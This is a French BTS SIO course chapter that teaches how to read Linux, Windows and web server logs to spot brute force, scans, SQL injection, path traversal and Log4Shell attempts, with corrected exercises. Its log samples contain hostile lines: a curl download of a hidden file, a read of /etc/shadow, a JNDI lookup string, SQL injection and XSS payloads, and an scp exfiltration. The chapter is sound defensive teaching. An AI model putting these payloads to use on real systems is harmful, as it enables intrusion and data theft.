Aller au contenu
Réussir mon BTS SIO

Tape une notion, une commande ou le nom d'une épreuve.

Par exemple

Chapitre 325 minIntermédiaire

Lire et analyser des logs : Linux, Windows, web

Par Josselyn C., prof de BTS SIO. Mis à jour le .

À la fin de ce chapitre, tu sauras

  • lire une ligne de journal Linux, Windows ou web champ par champ ;
  • interroger les journaux avec journalctl, grep, awk et Get-WinEvent ;
  • reconnaître une force brute, un scan, une injection SQL et une exploitation dans des logs ;
  • reconstituer une chronologie à partir de plusieurs extraits.

4 exercices corrigés1 schéma

Analyser des logs, c'est lire les journaux d'un système pour y retrouver ce qui s'est passé : qui s'est connecté, d'où, ce qu'il a fait, et si une attaque a eu lieu. Ce chapitre donne une méthode, puis détaille la lecture des trois familles de journaux que tu croiseras le plus : le journal d'un serveur Linux, l'Observateur d'événements de Windows et les journaux d'accès d'un serveur web. Il se termine sur les signatures des attaques courantes et la construction d'une chronologie.

Une méthode en cinq temps

Devant un extrait de journal, à l'examen comme en entreprise, on ne lit pas ligne à ligne en espérant tomber sur quelque chose. On suit une méthode.

  1. Situer : quelle machine, quel journal, quelle période, quel fuseau horaire ? Quel est le format d'une ligne ?
  2. Filtrer : ne garder que ce qui concerne la question (les échecs de connexion, les erreurs 500, une adresse IP).
  3. Compter : combien d'échecs, depuis combien d'adresses, sur combien de comptes, en combien de temps ? Les attaques automatisées se voient d'abord dans les volumes.
  4. Relier : rapprocher les événements entre eux et avec les autres sources (un échec puis un succès, une connexion puis une commande).
  5. Conclure : nommer l'attaque, dire si elle a réussi, citer les lignes qui le prouvent, proposer la suite.

Lire les journaux d'un serveur Linux

Sur une Debian récente, les événements sont conservés par le journal de systemd et se lisent avec journalctl. Avec l'option -o short-iso, chaque ligne a la même structure :

text
2026-10-13T03:00:50+02:00 srv-web sshd-session[3139]: Accepted password for deploy from 203.0.113.45 port 40256 ssh2
└─ horodatage ─────────┘ └ hôte ┘ └ processus[PID] ┘ └ message ─────────────────────────────────────────────────────┘

Les commandes à connaître :

CommandeCe qu'elle affiche
journalctl -u sshLes événements du service SSH (le service s'appelle ssh sur Debian, sshd sur d'autres distributions)
journalctl -u ssh --since "2026-10-13 02:00" --until "2026-10-13 04:00"La même chose sur une fenêtre de temps
journalctl -p err -bLes erreurs et plus graves depuis le dernier démarrage
journalctl -t sudoLes commandes passées avec sudo
journalctl -fLes nouveaux événements en direct, comme tail -f
journalctl -o short-isoUn horodatage complet avec le fuseau
journalctl -g "Failed password"Les lignes qui contiennent un motif

Les messages de SSH à reconnaître :

MessageSens
Accepted publickey for lea from 192.168.10.25Connexion réussie par clé
Accepted password for deploy from 203.0.113.45Connexion réussie par mot de passe
Failed password for deploy from 203.0.113.45Mot de passe faux pour un compte qui existe
Invalid user admin from 203.0.113.45Tentative sur un compte qui n'existe pas
Failed password for invalid user admin from ...Échec sur ce compte inexistant
Disconnected from user lea 192.168.10.25Fin de session

Exemple : le serveur web des Ateliers Morvan

Le 13 octobre au matin, Mehdi exporte le journal SSH de la nuit de srv-web dans un fichier ssh.log (65 lignes) pour l'analyser. Les premières lignes de l'attaque :

text
2026-10-13T02:58:41+02:00 srv-web sshd-session[3101]: Invalid user admin from 203.0.113.45 port 40112
2026-10-13T02:58:42+02:00 srv-web sshd-session[3101]: Failed password for invalid user admin from 203.0.113.45 port 40112 ssh2
2026-10-13T02:58:45+02:00 srv-web sshd-session[3102]: Invalid user admin from 203.0.113.45 port 40114
2026-10-13T02:58:46+02:00 srv-web sshd-session[3102]: Failed password for invalid user admin from 203.0.113.45 port 40114 ssh2

Il compte les échecs, puis les regroupe par adresse source et par compte visé :

bash
grep -c "Failed password" ssh.log
text
41
bash
grep "Failed password" ssh.log | grep -oE "from [0-9.]+" | sort | uniq -c | sort -rn
text
     38 from 203.0.113.45
      3 from 198.51.100.77
bash
grep "Failed password" ssh.log | sed -E 's/.*Failed password for (invalid user )?([^ ]+) from.*/\2/' | sort | uniq -c | sort -rn
text
     12 root
     11 deploy
      9 admin
      6 test
      1 ubuntu
      1 pi
      1 oracle

grep -o n'extrait que la partie qui correspond au motif ; sort | uniq -c compte les valeurs identiques ; sort -rn trie du plus grand au plus petit. Cette chaîne de commandes sert pour n'importe quel journal.

Reste la question décisive : une tentative a-t-elle réussi ?

bash
grep "Accepted" ssh.log
text
2026-10-12T18:02:11+02:00 srv-web sshd-session[2210]: Accepted publickey for lea from 192.168.10.25 port 50432 ssh2: ED25519 SHA256:q3Vf0bXk2m9yJ1t8sVd4hP0eW7cR5nLzA6uK2oT1iBs
2026-10-13T03:00:50+02:00 srv-web sshd-session[3139]: Accepted password for deploy from 203.0.113.45 port 40256 ssh2
2026-10-13T08:31:54+02:00 srv-web sshd-session[4420]: Accepted publickey for lea from 192.168.10.25 port 51877 ssh2: ED25519 SHA256:q3Vf0bXk2m9yJ1t8sVd4hP0eW7cR5nLzA6uK2oT1iBs

La deuxième ligne est la mauvaise nouvelle. Et le journal de sudo dit ce que l'attaquant a fait ensuite :

text
2026-10-13T03:01:30+02:00 srv-web sudo[3142]:   deploy : TTY=pts/1 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
2026-10-13T03:02:45+02:00 srv-web sudo[3148]:   deploy : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/curl -s -o /tmp/.x http://198.51.100.23/x

Conclusion. Entre 02:58:42 et 03:00:50, soit un peu plus de deux minutes, l'adresse 203.0.113.45 a tenté 38 mots de passe sur quatre comptes : c'est une attaque par force brute (ou par dictionnaire). Elle a réussi sur deploy, un compte de déploiement qui acceptait l'authentification par mot de passe depuis Internet et avait le droit d'utiliser sudo. L'attaquant a lu /etc/shadow, le fichier des empreintes de mots de passe, puis téléchargé un fichier caché /tmp/.x depuis 198.51.100.23. Les trois échecs de 198.51.100.77 sur ubuntu, oracle et pi sont, eux, le bruit de fond d'Internet : des robots essaient ces noms sur tous les serveurs exposés.

Lire les journaux Windows

Sous Windows, l'Observateur d'événements (eventvwr.msc) regroupe les journaux. Les trois principaux sont Sécurité (authentifications, comptes, accès audités), Système (services, pilotes, démarrages) et Application. D'autres se trouvent sous Journaux des applications et des services, comme celui de PowerShell (Microsoft-Windows-PowerShell/Operational).

Chaque événement porte un identifiant (ID). Une poignée d'entre eux couvre l'essentiel des enquêtes.

IDJournalÉvénementCe qu'il peut révéler
4624SécuritéOuverture de session réussieConnexion d'un attaquant avec un compte valide
4625SécuritéÉchec d'ouverture de sessionForce brute, pulvérisation de mots de passe
4634SécuritéFermeture de sessionDurée d'une session
4648SécuritéOuverture de session avec des identifiants explicitesUtilisation d'identifiants volés (runas, connexion à un partage)
4672SécuritéPrivilèges spéciaux attribués à une sessionConnexion d'un compte d'administration
4688SécuritéCréation d'un processusProgramme lancé, avec sa ligne de commande si l'audit est réglé pour
4720SécuritéCompte utilisateur crééPersistance : l'attaquant se crée un compte
4724SécuritéTentative de réinitialisation d'un mot de passePrise de contrôle d'un compte
4728, 4732, 4756SécuritéMembre ajouté à un groupe de sécurité global, local, universelÉlévation de privilèges (ajout aux « Admins du domaine »)
4740SécuritéCompte verrouilléConséquence d'une force brute
4663SécuritéAccès à un objet (fichier)Lecture ou suppression de fichiers audités
4698SécuritéTâche planifiée crééePersistance
1102SécuritéJournal d'audit effacéUn attaquant efface ses traces
7045SystèmeService installéPersistance, outil d'administration à distance

Dans un événement 4624 ou 4625, deux champs comptent particulièrement : le type d'ouverture de session et l'adresse du réseau source.

TypeSignificationExemple
2InteractiveQuelqu'un tape son mot de passe devant le poste
3RéseauAccès à un partage de fichiers, à une imprimante
4Traitement par lotsTâche planifiée
5ServiceDémarrage d'un service sous un compte
7DéverrouillageRetour sur une session verrouillée
10Interactive à distanceBureau à distance (RDP)
11Interactive en cachePortable hors du réseau, identifiants mémorisés

Pour un 4625, les champs État et Sous-état disent pourquoi l'ouverture a échoué : 0xC000006A (sous-état) pour un mot de passe faux sur un compte existant, 0xC0000064 (sous-état) pour un compte qui n'existe pas, l'état général valant alors 0xC000006D ; 0xC0000234 pour un compte verrouillé. Des milliers de 0xC0000064 sur des noms variés trahissent un robot qui devine des noms de comptes ; quelques échecs 0xC000006A sur beaucoup de comptes différents, chacun avec le même mot de passe courant, trahissent une pulvérisation de mots de passe (password spraying), conçue pour passer sous le seuil de verrouillage.

En PowerShell, Get-WinEvent interroge les journaux, y compris à distance ou dans un fichier .evtx exporté :

powershell
# Les échecs d'ouverture de session des dernières 24 heures
Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625; StartTime = (Get-Date).AddHours(-24) }

# Les mêmes, comptés par adresse source (lue dans les données XML de chaque événement)
Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625; StartTime = (Get-Date).AddHours(-24) } |
    ForEach-Object { ([xml]$_.ToXml()).Event.EventData.Data | Where-Object Name -eq 'IpAddress' } |
    Group-Object '#text' | Sort-Object Count -Descending | Select-Object Count, Name

# Un journal exporté depuis une autre machine
Get-WinEvent -Path .\securite-dc01.evtx -FilterXPath "*[System[EventID=4720 or EventID=4728 or EventID=4732]]"

Lire les journaux d'un serveur web

Apache et Nginx écrivent une ligne par requête dans le journal d'accès (/var/log/apache2/access.log sur Debian). Le format le plus courant, dit combiné, contient neuf informations.

198.51.100.14adresse IPdu client--identité,utilisateur[13/Oct/2026:09:31:44 +0200]date, heure et fuseau"GETméthode/produit.php?id=12%27%20UNION%20SELECT…chemin et paramètres, encodés :id=12' UNION SELECT…HTTP/1.1"protocole500codede statut612tailleen octets"-"paged'origine"sqlmap/1.9#stable (https://sqlmap.org)"agent utilisateur :un outil d'injection SQL automatisée
Une ligne du journal d'accès au format combiné : le chemin, le code de statut et l'agent utilisateur trahissent ici une injection SQL

Le code de statut HTTP oriente la lecture :

CodeSensCe qu'il suggère dans une enquête
200SuccèsLa requête a abouti : si elle était malveillante, elle a peut-être fonctionné
301, 302RedirectionSouvent après une connexion ou un envoi de formulaire
401, 403Authentification requise, accès interditTentatives d'accès à une zone protégée
404Ressource introuvableUne rafale de 404 sur des chemins variés : un scan
500Erreur interne du serveurUne entrée inattendue a fait planter le code : piste d'injection

Les adresses des requêtes sont encodées : un caractère spécial devient % suivi de son code hexadécimal. Il faut savoir décoder les plus fréquents : %20 (espace), %27 (apostrophe), %22 (guillemet), %3D (=), %2C (virgule), %2F (/), %3C et %3E (< et >), %7B et %7D ({ et }).

Exemple : le journal d'accès du site de vente

Voici treize lignes du journal d'accès du site des Ateliers Morvan, le 13 octobre au matin (les navigateurs sont abrégés) :

text
192.168.10.31 - - [13/Oct/2026:09:14:02 +0200] "GET /catalogue.php?cat=3 HTTP/1.1" 200 8412 "-" "Mozilla/5.0 (… Firefox/131.0)"
203.0.113.80 - - [13/Oct/2026:09:20:11 +0200] "GET /admin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:11 +0200] "GET /phpmyadmin/ HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:12 +0200] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:12 +0200] "GET /wp-login.php HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
203.0.113.80 - - [13/Oct/2026:09:20:13 +0200] "GET /.git/config HTTP/1.1" 404 196 "-" "Mozilla/5.0 zgrab/0.x"
198.51.100.14 - - [13/Oct/2026:09:31:40 +0200] "GET /produit.php?id=12 HTTP/1.1" 200 5120 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
198.51.100.14 - - [13/Oct/2026:09:31:41 +0200] "GET /produit.php?id=12%27%20AND%201%3D1--%20- HTTP/1.1" 200 5120 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
198.51.100.14 - - [13/Oct/2026:09:31:42 +0200] "GET /produit.php?id=12%27%20AND%201%3D2--%20- HTTP/1.1" 200 311 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
198.51.100.14 - - [13/Oct/2026:09:31:44 +0200] "GET /produit.php?id=12%27%20UNION%20SELECT%20login%2Cmdp%20FROM%20client--%20- HTTP/1.1" 500 612 "-" "sqlmap/1.9#stable (https://sqlmap.org)"
192.168.10.31 - - [13/Oct/2026:09:33:10 +0200] "POST /panier.php HTTP/1.1" 302 - "https://www.ateliers-morvan.example/catalogue.php?cat=3" "Mozilla/5.0 (… Firefox/131.0)"
203.0.113.99 - - [13/Oct/2026:09:40:05 +0200] "GET /facture.php?fichier=../../../../etc/passwd HTTP/1.1" 200 1893 "-" "curl/8.5.0"
203.0.113.99 - - [13/Oct/2026:09:41:17 +0200] "GET / HTTP/1.1" 200 9120 "-" "${jndi:ldap://198.51.100.23:1389/a}"

Hugo commence par les volumes :

bash
awk '{print $9}' access.log | sort | uniq -c | sort -rn
text
      6 200
      5 404
      1 500
      1 302
bash
awk '$9 == 404 {print $1}' access.log | sort | uniq -c
text
      5 203.0.113.80

awk découpe chaque ligne sur les espaces : $1 est l'adresse IP, $7 le chemin demandé, $9 le code de statut. Puis il cherche les motifs d'attaque connus :

bash
grep -iE "union|%27|\.\./|jndi" access.log | awk '{print $1, $7}'
text
198.51.100.14 /produit.php?id=12%27%20AND%201%3D1--%20-
198.51.100.14 /produit.php?id=12%27%20AND%201%3D2--%20-
198.51.100.14 /produit.php?id=12%27%20UNION%20SELECT%20login%2Cmdp%20FROM%20client--%20-
203.0.113.99 /facture.php?fichier=../../../../etc/passwd
203.0.113.99 /

La cinquième ligne sort parce que jndi figure dans l'agent utilisateur, pas dans le chemin. Lecture des quatre comportements :

  • 203.0.113.80, un scan : cinq chemins classiques (/admin/, /phpmyadmin/, /.env, /wp-login.php, /.git/config) en deux secondes, tous en 404, avec un outil de balayage. Sans effet, mais l'adresse est notée.
  • 198.51.100.14, une injection SQL qui fonctionne : l'outil sqlmap ajoute ' AND 1=1-- - puis ' AND 1=2-- - au paramètre id. La première condition, toujours vraie, renvoie la page normale (5 120 octets) ; la seconde, toujours fausse, une page presque vide (311 octets). Si le paramètre était correctement traité, les deux réponses seraient identiques. Cette différence prouve que la saisie modifie la requête SQL : la page est vulnérable (injection SQL et requêtes préparées). La tentative UNION SELECT login,mdp FROM client provoque une erreur 500, mais l'outil peut ajuster sa requête jusqu'à réussir. Pour corriger ce type de faille dans le code, vois le cours sécurité des applications.
  • 203.0.113.99, une traversée de répertoires réussie : fichier=../../../../etc/passwd remonte l'arborescence pour lire un fichier système. Le code 200 et la taille de 1 893 octets, typique d'un /etc/passwd, indiquent que le fichier a probablement été renvoyé. Le code de facture.php doit être corrigé d'urgence.
  • 203.0.113.99, une tentative Log4Shell : la chaîne ${jndi:ldap://198.51.100.23:1389/a} placée dans l'agent utilisateur vise les applications Java qui journalisent cet en-tête avec Log4j 2. Le site est en PHP : la tentative est sans effet. Mais l'adresse 198.51.100.23 est celle d'où le fichier /tmp/.x a été téléchargé par SSH à 3 h. Les deux attaques partagent la même infrastructure.

Les signatures des attaques courantes

AttaqueCe qu'on voit dans les journaux
Force brute sur un compteBeaucoup d'échecs sur un compte depuis une même source, en peu de temps ; parfois un verrouillage (4740)
Pulvérisation de mots de passePeu d'échecs par compte, sur beaucoup de comptes, depuis une ou quelques sources, souvent étalés dans le temps
Bourrage d'identifiantsDes couples identifiant et mot de passe variés, beaucoup d'adresses sources différentes, quelques succès
Scan webRafale de 404 sur des chemins connus (/admin, /.env, /.git), agent utilisateur d'outil
Injection SQL', %27, UNION, SELECT, OR 1=1, -- dans les paramètres ; erreurs 500 ; tailles de réponses qui varient
Cross-site scripting<script>, %3Cscript, onerror=, javascript: dans les paramètres
Traversée de répertoires../ ou ..%2F répétés, noms de fichiers système (/etc/passwd, win.ini)
Accès à des objets d'autrui (IDOR)Un même compte qui consulte des identifiants qui se suivent (facture=1001, 1002, 1003…)
Exploitation de Log4Shell${jndi:ldap://, ${jndi: ou sa forme encodée $%7Bjndi: dans un champ journalisé
Persistance sous WindowsCompte créé (4720), ajout à un groupe d'administration (4728, 4732), service installé (7045), tâche planifiée (4698)
Effacement des tracesÉvénement 1102, trou dans les journaux, service de journalisation arrêté

Reconstituer une chronologie

La dernière étape consiste à fusionner les extraits en une chronologie unique, une ligne par fait, triée par heure, avec la source de chaque fait. Pour l'incident de srv-web :

Heure (UTC+2)SourceFait
02:58:41Journal SSHDébut de la force brute depuis 203.0.113.45 (comptes admin, root, test, deploy)
03:00:50Journal SSHConnexion réussie sur deploy par mot de passe, après 38 échecs
03:01:30Journal sudodeploy lit /etc/shadow avec les droits root
03:02:45Journal sudoTéléchargement de /tmp/.x depuis 198.51.100.23
03:05Prestataire de surveillanceAlerte transmise par courriel
07:52Main couranteSSH bloqué depuis Internet, compte deploy verrouillé
09:31:40Journal ApacheInjection SQL automatisée sur produit.php depuis 198.51.100.14
09:40:05Journal ApacheTraversée de répertoires réussie sur facture.php depuis 203.0.113.99
09:41:17Journal ApacheTentative Log4Shell pointant vers 198.51.100.23

La chronologie montre ce qu'aucun extrait ne montrait seul : une même infrastructure (198.51.100.23) relie l'intrusion SSH de la nuit et une partie des attaques web du matin, et l'alerte de 3 h 05 n'a été traitée qu'à 7 h 40, plus de quatre heures et demie après. Ce délai sera un point du retour d'expérience.

À l'E7

L'extrait de journal à analyser est l'un des documents les plus fréquents des sujets.

  • SISR, métropole 2026 (U7), cas SPARCLE : la question A1.4 demande de rechercher, dans seize lignes du journal d'un serveur web, les traces d'une attaque Log4j. Le bulletin du CERT-FR fourni en annexe donne les motifs à chercher (${jndi: et $%7Bjndi:) ; on les retrouve dans un identifiant de connexion envoyé depuis une adresse qui utilise PowerShell comme agent.
  • SLAM, métropole 2026 (U7), cas NDV : la question A1.2 fait relever dans les journaux du SGBD les éléments qui prouvent qu'un compte applicatif se connecte depuis une autre adresse que le serveur local, avec plus de droits que nécessaire.
  • SLAM, Nouvelle-Calédonie 2023 (alors E6, U6), cas Yak : la mission C2 demande d'identifier tous les événements d'un extrait du fichier de journalisation d'une application, puis d'émettre une hypothèse sur l'événement suspect dans une note au responsable.
  • SISR, métropole 2023 (alors E6, U6), cas de la Ville du Parc : le document C5 est un extrait du journal Sécurité d'un poste (événements 4663, accès aux fichiers), à rapprocher des indicateurs de compromission d'un rançongiciel.

Exercices

Exercice 1 sur 4 Décoder et interpréter des requêtes Réussi À revoir

Décode chaque chemin, nomme l'attaque tentée et dis ce que le code de statut suggère.

  1. GET /recherche.php?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E → 200
  2. GET /compte.php?id=7%20OR%201%3D1 → 200, taille 48 210 octets (une fiche client fait d'habitude 3 000 octets)
  3. GET /telecharger.php?doc=..%2F..%2Fconfig%2Fdb.ini → 403
Voir la réponseMasquer la réponse de l'exercice 1
  1. q=<script>alert(1)</script> : test de cross-site scripting (XSS). Le 200 dit seulement que la page a répondu : il faut vérifier si la page renvoie la saisie sans l'échapper.
  2. id=7 OR 1=1 : injection SQL. La condition toujours vraie fait renvoyer toutes les lignes : une réponse seize fois plus grosse que d'habitude suggère fortement que l'injection a fonctionné et qu'une liste de clients est sortie. Incident probable de confidentialité.
  3. doc=../../config/db.ini : traversée de répertoires vers le fichier de configuration de la base. Le 403 indique un refus : la protection a joué, à confirmer dans le journal des erreurs. L'adresse source reste à surveiller.

Tu avais trouvé ?

Exercice 2 sur 4 Analyser un journal SSH Réussi À revoir

Extrait du journal d'un serveur, en heure locale :

text
2026-10-20T22:41:03+02:00 srv-ged sshd-session[812]: Failed password for root from 203.0.113.12 port 51002 ssh2
2026-10-20T22:41:09+02:00 srv-ged sshd-session[815]: Failed password for root from 203.0.113.12 port 51010 ssh2
2026-10-20T22:41:15+02:00 srv-ged sshd-session[818]: Failed password for root from 203.0.113.12 port 51016 ssh2
2026-10-20T23:05:47+02:00 srv-ged sshd-session[901]: Failed password for m.ouali from 192.168.20.14 port 50122 ssh2
2026-10-20T23:05:55+02:00 srv-ged sshd-session[901]: Accepted password for m.ouali from 192.168.20.14 port 50122 ssh2
2026-10-20T23:07:12+02:00 srv-ged sudo[934]:   m.ouali : TTY=pts/0 ; PWD=/home/m.ouali ; USER=root ; COMMAND=/usr/bin/tar czf /tmp/ged.tgz /srv/ged
2026-10-20T23:09:40+02:00 srv-ged sudo[951]:   m.ouali : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/scp /tmp/ged.tgz backup@198.51.100.60:/data/
  1. Combien d'échecs compte l'extrait, et depuis combien d'adresses ?
  2. Les trois premières lignes représentent-elles un danger immédiat ? Que recommandes-tu ?
  3. Que s'est-il passé à partir de 23:05 ? Est-ce forcément une attaque ? Quelles vérifications fais-tu ?
Voir la réponseMasquer la réponse de l'exercice 2
  1. Quatre échecs (lignes 1, 2, 3 et 4), depuis deux adresses : 203.0.113.12 (trois) et 192.168.20.14 (un).
  2. Trois essais sur root depuis Internet, sans succès : c'est le bruit habituel d'un serveur exposé. Pas de danger immédiat, mais une recommandation claire : interdire la connexion directe de root (PermitRootLogin no), n'autoriser que l'authentification par clé (PasswordAuthentication no), et idéalement ne pas exposer SSH sur Internet (accès par VPN).
  3. Le compte m.ouali se connecte depuis une adresse interne après un échec (une faute de frappe, plausible), crée avec sudo une archive de tout le dossier /srv/ged, puis l'envoie vers une adresse externe, 198.51.100.60. Ce n'est pas forcément une attaque : Mehdi fait peut-être une sauvegarde. Mais à 23 h, vers une destination externe, c'est le schéma d'une exfiltration. Vérifications : demander à Mehdi s'il est l'auteur (par un autre canal que sa messagerie, qui pourrait être compromise) ; vérifier si 198.51.100.60 est un serveur connu de l'entreprise ; identifier la machine 192.168.20.14 et qui l'utilisait à cette heure ; chercher dans les journaux du pare-feu le volume transféré. Si personne ne reconnaît l'opération : incident confirmé, compte compromis, données de la GED potentiellement exfiltrées.

Tu avais trouvé ?

Exercice 3 sur 4 Lire une série d'événements Windows Réussi À revoir

Événements extraits du journal Sécurité d'un serveur des Ateliers Morvan exposé en bureau à distance :

HeureIDCompteType de sessionAdresse sourceDétail
22:14:03 à 22:16:314625 (×212)47 comptes différents10203.0.113.66Sous-état 0xC0000064 pour 198 d'entre eux, 0xC000006A pour 14
22:17:024625c.vasseur10203.0.113.66Sous-état 0xC000006A
22:17:404624m.ouali10203.0.113.66
22:21:054720support2Créé par m.ouali
22:21:314732support2Ajouté au groupe local Administrateurs, par m.ouali
22:30:121102m.ouali
  1. Que signifient les codes 0xC0000064 et 0xC000006A ? Qu'en déduis-tu sur la méthode de l'attaquant ?
  2. L'attaquant a-t-il réussi ? Comment s'est-il connecté ?
  3. Que font les événements de 22:21 et de 22:30 ?
  4. Propose trois actions immédiates.
Voir la réponseMasquer la réponse de l'exercice 3
  1. 0xC0000064 : le compte n'existe pas ; 0xC000006A : le compte existe mais le mot de passe est faux. 198 essais sur des noms inexistants, puis 14 sur des comptes réels : l'attaquant devine des noms de comptes, puis essaie des mots de passe sur ceux qui existent. C'est une attaque par dictionnaire sur le bureau à distance, avec 212 essais en moins de deux minutes et demie.
  2. Oui : à 22:17:40, ouverture de session réussie (4624) du compte m.ouali depuis la même adresse externe, en type 10, c'est-à-dire en bureau à distance (RDP).
  3. 22:21 : création d'un compte support2 (4720), puis son ajout aux administrateurs locaux (4732). C'est une persistance avec élévation de privilèges : même si le mot de passe de m.ouali change, l'attaquant garde un accès administrateur. 22:30 : effacement du journal Sécurité (1102), pour couvrir ses traces ; heureusement, ces événements avaient déjà été transmis au serveur de collecte.
  4. Actions immédiates (trois parmi) : isoler le serveur du réseau sans l'éteindre ; désactiver support2 et m.ouali, réinitialiser le mot de passe de m.ouali et vérifier les autres comptes ; bloquer 203.0.113.66 et, surtout, fermer l'accès RDP depuis Internet (passer par un VPN avec authentification multifacteur) ; préserver les preuves (journaux centralisés, image mémoire) ; ouvrir la main courante et prévenir Claire Vasseur, qui décidera de la suite (plainte, notification si des données personnelles étaient accessibles).

Tu avais trouvé ?

Exercice 4 sur 4 Construire une chronologie Réussi À revoir

Remets ces faits dans l'ordre et présente-les en tableau (heure, source, fait). Tous les journaux sont en heure de Paris, sauf le pare-feu, réglé en UTC (les faits se passent dans la nuit du 5 au 6 octobre : Paris est alors à l'heure d'été, UTC+2 ; à partir du dernier dimanche d'octobre, ce serait UTC+1).

  • Pare-feu, 00:12 : connexion sortante de 192.168.10.47 vers 198.51.100.23 sur le port 443, 1,8 Go envoyés.
  • Messagerie, 01:58 : courriel « Bon de commande » avec une pièce jointe, reçu par j.perrin.
  • Poste 192.168.10.47 (j.perrin), 02:05 : processus facture.exe lancé depuis le dossier Téléchargements.
  • Poste 192.168.10.47, 02:06 : tâche planifiée « MiseAJour » créée (4698).
  • Serveur de fichiers, 02:09 : 4 312 fichiers ouverts en lecture par j.perrin en trois minutes.
Voir la réponseMasquer la réponse de l'exercice 4

Le pare-feu note 00:12 UTC, soit 02:12 à Paris : l'envoi a lieu après l'infection, et non avant comme une lecture rapide le laisserait croire.

Heure (Paris)SourceFait
01:58MessagerieCourriel « Bon de commande » avec pièce jointe reçu par j.perrin
02:05Poste 192.168.10.47facture.exe lancé depuis Téléchargements : la pièce jointe est ouverte
02:06Poste 192.168.10.47Tâche planifiée « MiseAJour » créée : persistance
02:09Serveur de fichiers4 312 fichiers lus en trois minutes avec le compte j.perrin : collecte massive
02:12Pare-feu (00:12 UTC)1,8 Go envoyés de 192.168.10.47 vers 198.51.100.23 : exfiltration

Le scénario se lit de haut en bas : hameçonnage, exécution, persistance, collecte, exfiltration. Et 198.51.100.23 est déjà connue : c'est l'adresse vue dans l'incident de srv-web.

Tu avais trouvé ?

Chapitre terminé !

Fais les 4 exercices avant de passer à la suite : c'est en t'entraînant que tout se fixe.

chapitres
–
de série
–
du cours
–
Chapitre suivant : Centraliser les logs : syslog, SIEM et SOCRevoir le sommaire du cours